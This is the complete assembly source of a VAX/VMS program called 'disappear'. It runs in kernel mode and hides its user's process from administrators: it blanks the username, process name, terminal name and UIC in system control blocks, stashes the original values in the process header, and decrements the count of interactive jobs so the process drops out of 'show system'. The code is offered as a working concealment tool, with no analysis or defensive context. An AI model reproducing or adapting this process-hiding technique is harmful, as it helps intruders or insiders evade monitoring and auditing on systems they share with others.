.title disappear ; ; This program is to go out into the system and make me ; invisible. ; .library /sys$library:lib/ ; ; global symbol definitions ; $PCBDEF $JIBDEF $PHDDEF ; spaces: .ascii / / ; .ENTRY disappear, ^M<> $cmkrnl_s routin=kernel_stuff ret ; ; This is the kernel mode routine that will go out into the system ; and in effect make me almost invisible. ; .entry kernel_stuff, ^M<> moval handler, (fp) movl Sch$Gl_CurPCB, r6 ;get the current process, me movl Pcb$L_Jib(r6), r7 ;move the address of my jib into ;r7 movl Pcb$L_Phd(r6), r8 ;move the address of my PHD into ;r8 cmpb #12,Phd$L_Spare(r8) ;check to see if we have already ;disappeared beqlu getout ;get out of here if we have clrb Pcb$T_Terminal(r6) ;clear length for terminal name movl #12,Phd$L_Spare(r8) ;move in the length of a ;username incl r8 movc3 #12,Jib$T_Username(r7),Phd$L_Spare(r8) ;move the username from ;the JIB into an empty ;space in the process ;header movc3 #12,spaces,Jib$T_Username(r7) ;blank out the username in ;the JIB addl2 #12,r8 movb Pcb$T_Lname(r6),Phd$L_Spare(r8) ;move the length of the process ;name out behind the username ;in the process header clrb Pcb$T_Lname(r6) ;blank out the count for the ;processname in the PCB decw Sys$Gw_Ijobcnt ;subtract one from the system ;count of interactive processes incl r8 ;move to a new spot in the PHD movl Pcb$L_Uic(r6), Phd$L_Spare(r8) ;move the process UIC out into ;the PHD to help us hide a ;little better from show system clrl Pcb$L_Uic(r6) ;clear out the UIC getout: movl #1, r0 ;all done ret .entry handler,^m<> ;this is here in case the program ;burps to crash just the process ;and not the whole system $exit_s r0 ret .end disappear